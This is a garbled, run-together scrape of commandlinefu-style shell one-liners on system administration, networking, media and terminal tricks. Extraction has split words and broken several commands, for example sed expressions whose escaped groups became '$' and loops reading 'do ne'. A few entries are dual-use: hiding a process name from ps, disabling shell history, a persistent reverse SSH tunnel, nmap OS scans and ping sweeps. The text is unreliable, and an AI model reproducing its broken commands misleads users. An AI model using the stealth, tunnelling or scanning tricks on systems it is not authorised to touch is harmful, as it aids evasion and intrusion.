white - border 3 text.gif Remote screenshot $ DISPLAY=":0.0" import -window root screenshot.pngDefine words and phrases with google. $ define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search? q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities - pe 'decode_entities($_)' 2>/dev/null;} List all authors of a particular git project $ git log --format='%aN' | sort -u track flights from the command line $ flight_status() { if [[ $# - eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/Trac kByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d - d ${offset}day)" 2>/dev/null |html2text |grep ":"; } Harder, Faster, Stronger SSH clients $ ssh -4 -C -c blowfish-cbc Clean up poorly named TV shows. $ rename -v 's/.*[s,S](\d{2}).*[e,E] (\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi Pretty Print a simple csv in the command line $ column -s, -t <tmp.csv Cleanup firefox's database. $ find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \; Mount the first NTFS partition inside a VDI file (VirtualBox Disk Image) $ mount -t ntfs-3g - o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd - n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1- 8) image.vdi /mnt/vdi-ntfs check open ports $ lsof -Pni4 | grep LISTENFind Duplicate Files (based on MD5 hash) $ find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate - w 33 | cut -c 35- Triple monitoring in screen $ tmpfile=$(mktemp) && echo -e 'startup_message off screen -t top h top split focus screen -t nethogs nethogs wlan0 split focus screen -t io top io top' > $tmpfile && sudo screen -c $tmpfile Print a great grey scale demo ! $ yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m "; sleep .01; done Create a list of binary numbers $ echo {0..1}{0..1}{0..1}{0..1} Create a system overview dashboard on F12 key $ bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m""" Save an HTML page, and covert it to a .pdf file $ wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf & create an emergency swapfile when the existing swap space is getting tight $ sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000; sudo mkswap /swapfile; sudo swapon /swapfile Relocate a file or directory, but keep it accessible on the old location throug a simlink. $ mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1) disable history for current shell session $ unset HISTFILEa short counter $ yes '' | cat -n How to run X without any graphics hardware $ startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc Rsync remote data as root using sudo $ rsync -- rsync-path 'sudo rsync' username@source:/folder/ /local/ Convert all MySQL tables and fields to UTF8 $ mysql --database=dbname -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 CO LLATE utf8_general_ci;"}' | mysql --database=dbname & Quickly generate an MD5 hash for a text string using OpenSSL $ echo -n 'text to be encrypted' | openssl md5 Pipe STDOUT to vim $ tail -1000 /some/file | vim - Copy stdin to your X11 buffer $ ssh user@host cat /path/to/some/file | xclip Get info about remote host ports and OS detection $ nmap -sS -P0 -sV -O <target> Copy a file structure without files $ find * -type d -exec mkdir /where/you/wantem/\{\} \; Get http headers for an url $ curl -I www.commandlinefu.com Count files beneath current directory (including subfolders) $ find . -type f | wc -lrandom git-commit message $ git commit -m "$(curl -s http://whatthecommit.com/index.txt)"; Generate QR code for a WiFi hotspot $ qrencode -s 7 -o qr-wifi.png "WIFI:S:$(zenity --entry -- text="Network name (SSID)" --title="Create WiFi QR");T:WPA;P:$(zenity -- password --title="Wifi Password");;" vi a remote file $ vi scp://username@host//path/to/somefile Show what PID is listening on port 80 on Linux $ fuser -v 80/tcp convert from hexidecimal or octal to decimal $ echo $((0x1fe)) $((033)) save man-page as pdf $ man -t awk | ps2pdf - awk.pdf Convert seconds into minutes and seconds $ echo 'obase=60;299' | bc List by size all of the directories in a given tree. $ du -h /path | sort -h List files accessed by a command $ strace -ff -e trace=file my_command 2>&1 | perl -ne 's/^[^"]+"(([^\\"]|\\ [\\"nt])*)".*/$1/ && print' Find all the links to a file $ find -L / -samefile /path/to/file -exec ls -ld {} +Recover tmp flash videos (deleted immediately by the browser plugin) $ for h in `find /proc/*/fd -i lname "/tmp/Flash*" 2>/dev/null`; do ln - s "$h" `readlink "$h" | cut -d' ' -f1`; done rsync instead of scp $ rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 -- ipv4 user@domain.com:~/file.tgz . Visit wikileaks.com $ echo 213.251.145.96 wikileaks.com >>/etc/hosts Make sudo forget password instantly $ sudo -K Mirror a directory structure from websites with an Apache-generated file indexes $ lftp -e "mirror -c" http://example.com/foobar/ Quickly share code or text from vim to others. $ :w !curl -F "sprunge=<-" http://sprunge.us | xclip Print a row of characters across the terminal $ printf "%`tput cols`s"|tr ' ' '#' Limit bandwidth usage by apt-get $ sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade download and unpack tarball without leaving it sitting on your hard drive $ wget -qO - http://example.com/path/to/blah. tar.gz | tar xzf - Colored diff ( via vim ) on 2 remotes files on your local computer. $ vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server- bar.com//etc/snmp/snmpd.confTune your guitar from the command line. $ for n i n E2 A2 D3 G3 B3 E4;do play - n sy nth 4 pluck $ n repeat 2;do ne Split a tarball into multiple parts $ tar cf - <dir>|split -b<max_size>M - <name>. tar. Remove executable bit from all files in the current directory recursively, excluding other directories $ chmod -R -x+X * Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X $ for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0; for i in `seq $t 5`;do echo - e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0- 9]'`\e[0m";done;done More precise BASH debugging $ env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh - x /etc/profile get all pdf and zips from a website using wget $ wget --reject html,htm --accept pdf,zip -rl1 url Show me a histogram of the busiest minutes in a log file: $ cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf(" %s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}' Smiley Face Bash Prompt $ PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\; 40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)" coloured tail $ tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g' Search for commands from the command line $ clfu-seach <search words>Install a Firefox add-on/theme to all users $ sudo firefox -install-global-extension /path/to/add-on clear current line $ CTRL+u Terminate a frozen SSH-session $ RETURN~. Backup a remote database to your local filesystem $ ssh user@host 'mysqldump dbname | gzip' > /path/to/backups/db-backup- `date +%Y-%m-%d`.sql.gz Download an entire static website to your local machine $ wget --recursive --page-requisites --convert-links www.moyagraphix.co.za Generat a Random MAC address $ MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0- 9a-f]{2})/\1:/g; s/:$//;'` Batch convert files to utf-8 $ find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} - o ../newdir_utf8/{} \; Run entire shell script as root $ #!/usr/bin/sudo /bin/bash Check if system is 32bit or 64bit $ arch Show permissions of current directory and all directories upwards to / $ namei -m $(pwd) move you up one directory quickly $ shopt -s autocdHide the name of a process listed in the `ps` output $ exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_files Remove a line from a file using sed (useful for updating known SSH server keys when they change) $ ssh-keygen -R <thehost> Short and elegant way to backup a single file before you change it. $ cp httpd.conf{,.bk} Find the most recently changed files (recursively) $ find . -type f -printf '%TY-%Tm-%Td %TT %p ' | sort All IP connected to my host $ netstat -lantp | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort -u Figure out what shell you're running $ echo $0 Download a file and uncompress it while it downloads $ wget http://URL/FILE. tar.gz -O - | tar xfz - List 10 largest directories in current directory $ du -hs */ | sort -hr | head Rename all .jpeg and .JPG files to have .jpg extension $ rename 's/\.jpe?g$/.jpg/i' * See where a shortened url takes you before click $ check(){ curl -sI $1 | sed -n 's/Location: *//p';} Stream YouTube URL directly to MPlayer $ yt () mplayer -fs -quiet $(youtube-dl -g "$1")Generate a Random MAC address $ openssl rand -hex 6 | sed 's/$..$/\1:/g; s/.$//' Remove Thumbs.db files from folders $ find ./ -name Thumbs.db -delete List open files that have no links to them on the filesystem $ lsof +L1 Display BIOS Information $ # dd if=/dev/mem bs=1k skip=768 count=256 2>/dev/null | strings -n 8 open path with your default program (on Linux/*BSD) $ xdg-open [path] Copy an element from the previous command $ !:1-3 View user activity per directory. $ sudo lsof -u someuser -a +D /etc use the previous commands params in the current command $ !!:[position] Choose from a nice graphical menu which DI.FM radio station to play $ zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print- column 2 $(curl -s http://www.di.fm/ | awk - F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF- 1) " " $0}') | xargs mplayer check the status of 'dd' in progress (OS X) $ killall -INFO ddcopy from host1 to host2, through your host $ ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -" Convert all Flac in a directory to Mp3 using maximum quality variable bitrate $ for file in *. flac; do flac -cd "$ file" | lame -q 0 --vbr-new -V 0 - "${ file%. flac}.mp3"; done recursive search and replace old with new string, inside files $ find . -type f -exec sed -i s/oldstring/newstring/g {} + Clean your broken terminal $ stty sane grep -v with multiple patterns. $ grep 'test' somefile | grep -vE '(error|critical|warning)' redirect stdout and stderr each to separate files and print both to the screen $ (some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog Identify long lines in a file $ awk 'length>72' file Use all the cores or CPUs when compiling $ make -j 4 Prints total line count contribution per user for an SVN repository $ svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{print $2}' | sort | uniq -c | sort -r Analyze awk fields $ awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'Colored SVN diff $ svn diff <file> | vim -R - Run a command, store the output in a pastebin on the internet and place the URL on the xclipboard $ ls | curl -F 'sprunge=<-' http://sprunge.us | xclip Show git branches by date - useful for showing active branches $ for k in `git branch|perl -pe s/^..//`;do echo -e `git show -- pretty= format:"%Cgreen%ci %Cblue%cr%Creset" $k|head - n 1`\\t$k;done|sort -r Find if the command has an alias $ type -all command Find last reboot time $ who -b Get your public ip using dyndns $ curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+" Show a config file without comments $ egrep -v "^$|^[[:space:]]*#" /etc/some/file Start screen in detached mode $ screen -d -m [<command>] Given process ID print its environment variables $ sed 's/\o0/ /g' /proc/INSERT_PID_HERE/environ Look up the definition of a word $ curl dict://dict.org/d:somethingDiff files on two remote hosts. $ diff <(ssh alice cat /etc/apt/sources.list) <(ssh bob cat /etc/apt/sources.list) Ctrl+S Ctrl+Q terminal output lock and unlock $ Ctrl+S Ctrl+Q iso-8859-1 to utf-8 safe recursive rename $ detox -r -s utf_8 /path/to/old/win/files/dir create dir tree $ mkdir -p doc/{text/,img/{wallpaper/,photos/}} Run any GUI program remotely $ ssh -fX <user>@<host> <program> Delete all empty lines from a file with vim $ :g!/\S/d List the files any process is using $ lsof +p xxxx Backup your hard drive with dd $ sudo dd if=/dev/sda of=/media/disk/backup/sda.backup Show biggest files/directories, biggest first with 'k,m,g' eyecandy $ du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024) {$1/=1024; s++} print int($1)" "v[s]"\t"$2}' change directory to actual path instead of symlink path $ cd `pwd -P` Recursively remove .svn directories from the current location $ find . -type d -name '.svn' -print0 | xargs -0 rm -rdfRead and write to TCP or UDP sockets with common bash tools $ exec 5<>/dev/tcp/time.nist.gov/13; cat <&5 & cat >&5; exec 5>&- Commandline document conversion with Libreoffice $ soffice --headless -convert-to odt:"writer8" somefile.docx Use top to monitor only all processes with the same name fragment 'foo' $ top -p $(pgrep -d , foo) HourGlass $ hourglass() { trap 'tput cnorm' 0 1 2 15 RETURN;local s=$(($SECONDS +$1)); (tput civis;while (($SECONDS<$s));do for f in '|' '\' '-' '/';do echo - n "$f";sleep .2s; echo -n $'\b';done;done;);} delete command line last word $ ctrl+w Swap the two last arguments of the current command line $ <ctrl+e> <esc+t> Draw kernel module dependancy graph. $ lsmod | awk 'BEGIN{ print "digraph{"}{split($4, a, ","); for (i in a) print $1, "- >", a[i]}END{ print "}"}'|display Color man pages $ echo "export LESS_TERMCAP_mb=$'\E[01;31m'" >> ~/.bashrc Print without executing the last command that starts with... $ !ssh:p What is the use of this switch ? $ manswitch () { man $1 | less -p "^ +$2"; }Save the list of all available commands in your box to a file $ compgen -c | sort -u > commands Protect directory from an overzealous rm -rf * $ cd <directory>; touch ./-i Watch RX/TX rate of an interface in kb/s $ while [ /bin/ true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done Rapidly invoke an editor to write a long, complex, or tricky command $ <ESC> v Reuse last parameter $ !$ Blink LED Port of NIC Card $ ethtool -p eth0 pretend to be busy in office to enjoy a cup of coffee $ j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; do ne | dialog --gauge "Install part $j : `sed $(perl - e "print int rand(99999)")"q;d" /usr/share/dict/words`" 6 40;done Running scripts after a reboot for non-root users . $ @reboot <yourscript.sh> run command on a group of nodes in parallel $ echo "uptime" | pee "ssh host1" "ssh host2" "ssh host3" make, or run a script, everytime a file in a directory is modified $ while true; do inotifywait -r -e MODIFY dir/ && make; done;Convert a Nero Image File to ISO $ dd bs=1k if=image.nrg of=image.iso skip=300 Change prompt to MS-DOS one (joke) $ export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> " View network activity of any application or user in realtime $ lsof -r 2 -p PID -i -a Copy with progress $ rsync --progress file1 file2 a shell function to print a ruler the width of the terminal window. $ ruler() { for s in '....^....|' '1234567890'; do w=${# s}; str=$( for (( i=1; $i<=$ (( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo - n $ s; done ); str=$( echo $ str | cut -c -$COLUMNS) ; echo $ str; done; } Print a list of standard error codes and descriptions. $ perl -le 'print $!+0, "\t", $!++ for 0..127' generate random password $ pwgen -Bs 10 1 A function to output a man page as a pdf file $ function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf - dCompatibility=1.3 - - > ${1}.pdf; } Search back through previous commands $ Ctrl-R <search-text> Show directories in the PATH, one per line $ echo $PATH | tr \: \Move all images in a directory into a directory hierarchy based on year, month and day based on exif information $ exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir Follow tail by name (fix for rolling logs with tail -f) $ tail -F file Convert "man page" to text file $ man ls | col -b > ~/Desktop/ man_ ls.txt Display current bandwidth statistics $ ifstat -nt restoring some data from a corrupted text file $ ( cat badfile.log ; tac badfile.log | tac ) > goodfile.log view the system console remotely $ sudo cat /dev/vcs1 | fold -w 80 Download all Delicious bookmarks $ curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all Redirect STDIN $ < /path/to/file.txt grep foo I hate `echo X | Y` $ base64 - d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U 9Y29tbWFuZGxpbmVmdQo= Send keypresses to an X application $ xvkbd -xsendevent -text "Hello world"Add calendar to desktop wallpaper $ convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black - draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg Browse system RAM in a human readable form $ sudo cat /proc/kcore | strings | awk 'length > 20' | less Add forgotten changes to the last git commit $ git commit --amend Calculates the date 2 weeks ago from Saturday the specified format. $ date -d '2 weeks ago Saturday' +%Y-%m-%d Get Cisco network information $ tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000' Press ctrl+r in a bash shell and type a few letters of a previous command $ ^r in bash begins a reverse-search-history with command completion Extract audio from a video $ ffmpeg -i video.avi -f mp3 audio.mp3 Quick glance at who's been using your system recently $ last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c Get Dell Service Tag Number from a Dell Machine $ sudo dmidecode | grep Serial\ Number | head -n1 ping a range of IP addresses $ nmap -sP 192.168.1.100-254 Use last argument of last command $ file !$Show which programs are listening on TCP and UDP ports $ netstat -plunt Print all git repos from a user $ curl -s https://api.github.com/users/<username>/repos? per_page=1000 |grep git_url |awk '{print $2}'| sed 's/"$.*$",/\1/' Determine if a port is open with bash $ : </dev/tcp/127.0.0.1/80 Search for a process by name $ ps -fC PROCESSNAME Mount a VMware virtual disk (.vmdk) file on a Linux box $ kpartx -av <image-flat.vmdk>; mount -o /dev/mapper/loop0p1 /mnt/vmdk Download all mp3's listed in an html page $ wget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off [url of website] Google text-to-speech in mp3 format $ t2s() { wget -q -U Mozilla -O $(tr ' ' _ <<< "$1"| cut -b 1- 15).mp3 "http://translate.google.com/translate_tts?ie=UTF- 8&tl=en&q=$(tr ' ' + <<< "$1")"; } Run the built in PHP-server in current folder $ php -S 127.0.0.1:8080 Press enter and take a WebCam picture. $ read && ffmpeg -y -r 1 -t 3 -f video4linux2 -vframes 1 -s sxga - i /dev/video0 ~/webcam-$(date +%m_%d_%Y_%H_%M).jpeg sort the output of the 'du' command by largest first, using human readable output. $ du -h --max-depth=1 |sort -rhVerify/edit bash history command before executing it $ shopt -s histverify Gets the english pronunciation of a phrase $ say() { mplayer "http://translate.google.com/translate_tts?q=$1"; } Check syntax for all PHP files in the current directory and all subdirectories $ find . -name \*. php -exec php -l "{}" \; Ask for a password, the passwd-style $ read -s -p"Password: " USER_PASSWORD_VARIABLE; echo monitor memory usage $ watch vmstat -sSM Content search. $ ff() { local IFS='|'; grep -rinE "$*" . ; } Timer with sound alarm $ sleep 3s && espeak "wake up, you bastard" 2>/dev/null Run a program transparently, but print a stack trace if it fails $ gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$ Send email with curl and gmail $ curl -n --ssl-reqd --mail-from "<user@gmail.com>" --mail-rcpt " <user@server.tld>" --url smtps://smtp.gmail.com:465 -T file.txt run command on a group of nodes in parallel $ echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3) Display BIOS Information $ dmidecode -t biosList of commands you use most often $ history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds | gnuplot - persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with boxes') kill process by name $ pkill -x firefox Ping scanning without nmap $ for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done Make ISO image of a folder $ mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 - o OpenCD.iso ~/OpenCD Typing the current date ( or any string ) via a shortcut as if the keys had been actually typed with the hardware keyboard in any application. $ xvkbd -xsendevent -text $(date +%Y%m%d) Update twitter via curl (and also set the "from" bit) $ curl -u twitter-username -d status="Hello World, Twitter!" - d source="cURL" http://twitter.com/statuses/update.xml quickest (i blv) way to get the current program name minus the path (BASH) $ path_stripped_programname="${0##*/}" Play music from youtube without download $ wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn - acodec libmp3lame -| mpg123 - Function that outputs dots every second until command completes $ sleeper(){ while `ps -p $1 &>/dev/null`; do echo - n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeperIdentify differences between directories (possibly on different servers) $ diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort - k 2') <(ssh server02 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') Replace spaces in filenames with underscores $ rename -v 's/ /_/g' * Show directories in the PATH, one per line $ echo "${PATH//:/$' '}" move a lot of files over ssh $ rsync -az /home/user/test user@sshServer:/tmp/ find and delete empty dirs, start in current working dir $ find . -empty -type d -exec rmdir {} + urldecoding $ sed -e's/%$[0-9A-F][0-9A-F]$/\\\\\x\1/g' | xargs echo -e Validate and pretty-print JSON expressions. $ echo '{"json":"obj"}' | python -m simplejson.tool List your largest installed packages. $ wajig large Monitor TCP opened connections $ watch -n 1 "netstat -tpanl | grep ESTABLISHED" Fix Ubuntu's Broken Sound Server $ sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 & beep when a server goes offline $ while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; doneNumber of open connections per ip. $ netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n Fibonacci numbers with awk $ seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}' Create a favicon $ convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon - output favicon.ico face.ppm Check Ram Speed and Type in Linux $ sudo dmidecode --type 17 | more Run the Firefox Profile Manager $ firefox -no-remote -P Sort dotted quads $ sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4 Resume aborted scp file transfers $ rsync --partial --progress --rsh=ssh SOURCE DESTINATION Another Curl your IP command $ curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g' Add your public SSH key to a server in one command $ cat . ssh/id_rsa.pub | ssh hostname ' cat >> . ssh/authorized_keys' cycle through a 256 colour palette $ yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m "; sleep .01; done scping files with streamlines compression (tar gzip) $ tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destinationSelect rectangular screen area $ Ctrl + Alt Google verbatim search on your terminal $ function google { Q="$@"; GOOG_URL='https://www. google.de/search? tbs=li:1&q='; AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" - skLm 10 "${GOOG_URL}${Q//\ /+}" | grep -oP '\/url\?q=.+?&' | sed 's|/url?q=||; s|&||'); echo -e "${stream//\%/\x}"; } grep processes list avoiding the grep itself $ ps axu | grep [a]pache2 Transfer a file to multiple hosts over ssh $ pscp -h hosts.txt -l username /etc/hosts /tmp/hosts Daemonize nc - Transmit a file like a http server $ while ( nc -l 80 < /file.htm > : ) ; do : ; done & tail a log over ssh $ ssh -t remotebox "tail -f /var/log/remote.log" du with colored bar graph $ t=$(df| awk 'NR!=1{sum+=$2}END{print sum}');sudo du / --max- depth=1|sed '$d'|sort -rn -k1 | awk - v t=$t 'OFMT="%d" {M=64; for (a=0;a<$1;a++){if (a>c) {c=a}}br=a/c;b=M*br; for(x=0;x<b;x++) {printf "\033[1;31m" "|" "\033[0m"}print " "$2" "(a/t*100)"% total"}' Resize an image to at least a specific resolution $ convert -resize '1024x600^' image.jpg small-image.jpg Query well known ports list $ getent services <<service>> Create .pdf from .doc $ oowriter -pt pdf your_word_file.docDiff XML files $ diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); } Discovering all open files/dirs underneath a directory $ lsof +D <dirname> "Clone" a list of installed packages from one Debian/Ubuntu Server to another $ apt-get install `ssh root@host_you_want_to_clone "dpkg -l | grep ii" | awk '{print $2}'` clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.) $ cls(){ printf "\33[2J";} or, if no printf, cat >cls;<ctrl-v><ctrl+[>[2J<enter> <ctrl+d> cls(){ cat cls;} Down for everyone or just me? $ down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/$1" | sed '/just you/!d;s/<[^>]*>//g' ; } A formatting test for David Winterbottom: improving commandlinefu for submitters $ echo "?????, these are the umlauted vowels I sing to you. Oh, and sometim es ?, but I don't sing that one cause it doesn't rhyme." Compare copies of a file with md5 $ cmp file1 file2 backup delicious bookmarks $ curl --user login:password -o DeliciousBookmarks.xml - O 'https://api.del.icio.us/v1/posts/all' analyze traffic remotely over ssh w/ wireshark $ ssh root@HOST tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i - pretend to be busy in office to enjoy a cup of coffee $ for i in {0..600}; do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40Get all links of a website $ lynx -dump http://www.domain.com | awk '/http/{print $2}' Find all active ip's in a subnet $ sudo arp-scan -I eth0 192.168.1.0/24 Disassemble some shell code $ echo -ne "<shellcode>" | x86dis -e 0 -s intel List bash functions defined in .bash_profile or .bashrc $ compgen -A function Resume a detached screen session, resizing to fit the current terminal $ screen -raAd ignore the .svn directory in filename completion $ export FIGNORE=.svn Working random fact generator $ wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\ (.*\)</i>.*$;\1;" Remote backups with tar over ssh $ tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile. tar.bz2" Pronounce an English word using Dictionary.com $ pronounce(){ wget -qO- $( wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=$[^&]*$&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; } Change pidgin status $ purple-remote "setstatus?status=away&message=AFK"Grep by paragraph instead of by line. $ grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";} Vim: Switch from Horizontal split to Vertical split $ ^W-L Numbers guessing game $ A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read - p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N? $X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein"; a trash function for bash $ trash <file> Sort all running processes by their memory & CPU usage $ ps aux --sort=%mem,%cpu generate a unique and secure password for every website that you login to $ sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | s trings -n 1 | tr -d " [:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history - d $(($HISTCMD-1)); } Change user, assume environment, stay in current dir $ su -- user List Network Tools in Linux $ apropos network |more Save current layout of top $ <Shift + W> Testing hard disk reading speed $ hdparm -t /dev/sdaHow fast is the connexion to a URL, some stats from curl $ URL="http://www.google.com";curl -L --w "$URL DNS %{ time_namelookup}s conn %{ time_connect}s time %{ time_total}s Speed %{speed_download}bps Size %{size_download}bytes " -o/dev/null -s $URL An easter egg built into python to give you the Zen of Python $ python -c 'import this' Salvage a borked terminal $ <ctrl+j>stty sane<ctrl+j> Get all IPs via ifconfig $ ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1' Use Cygwin to talk to the Windows clipboard $ cat /dev/clipboard; $(somecommand) > /dev/clipboard Backup files incremental with rsync to a NTFS-Partition $ rsync -rtvu --modify-window=1 -- progress /media/SOURCE/ /media/TARGET/ List programs with open ports and connections $ lsof -i Find corrupted jpeg image files $ find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR" 'Fix' a typescript file created by the 'script' program to remove control characters $ cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col - b > typescript-processed Share a 'screen'-session $ screen -xPurge configuration files of removed packages on debian based systems $ sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'` Show all detected mountable Drives/Partitions/BlockDevices $ hwinfo --block --short Displays the attempted user name, ip address, and time of SSH failed logins on Debian machines $ awk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s- %s ", $9, $11, $1, $2, $3}' /var/log/auth.log Merge *.pdf files $ gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite - sOutputFile=out.pdf `ls *.pdf` Append stdout and stderr to a file, and print stderr to the screen [bash] $ somecommand 2>&1 >> logfile | tee -a logfile quickly change all .html extensions on files in folder to .htm $ for i in *.html ; do mv $i ${i%.html}.htm ; done Delete the specified line $ sed -i 8d ~/.ssh/known_hosts Read the output of a command into the buffer in vim $ :r !command Create an SSH SOCKS proxy server on localhost:8000 that will re-start itself if something breaks the connection temporarily $ autossh -f -M 20000 -D 8000 somehost -N Find broken symlinks $ find . -type l ! -exec test -e {} \; -printssh tunnel with auto reconnect ability $ while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes - R 2222:localhost:22 target " while nc - zv localhost 2222; do sleep 5; done"; sleep 5;done find process associated with a port $ fuser [portnumber]/[proto] Echo the latest commands from commandlinefu on the console $ wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s* <title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s* <description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]" "} ' add all files not under version control to repository $ svn status |grep '\?' |awk '{print $2}'| xargs svn add Using a single sudo to run multiple && arguments $ sudo -s <<< ' apt update -y && apt upgrade -y' Disco lights in the terminal $ while true; do pri ntf "\e[38;5;$(($(od -d -N 2 - A n /dev/ura ndom)%$(tput colors)))m.\e[0m"; do ne Show how old your linux OS installtion is $ sudo tune2fs -l $(df -h / |(read; awk '{print $1; exit}')) | grep -i created Fetch the current human population of Earth $ curl -s http://www.census.gov/popclock/data/population/world | python - c 'import json,sys;obj=json.load(sys.stdin);print obj["world"]["population"]' Discover the process start time $ ps -eo pid,lstart,cmdThe fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs) $ rsync -aHAXxv --numeric-ids --delete --progress -e "ssh -T -c arcfour 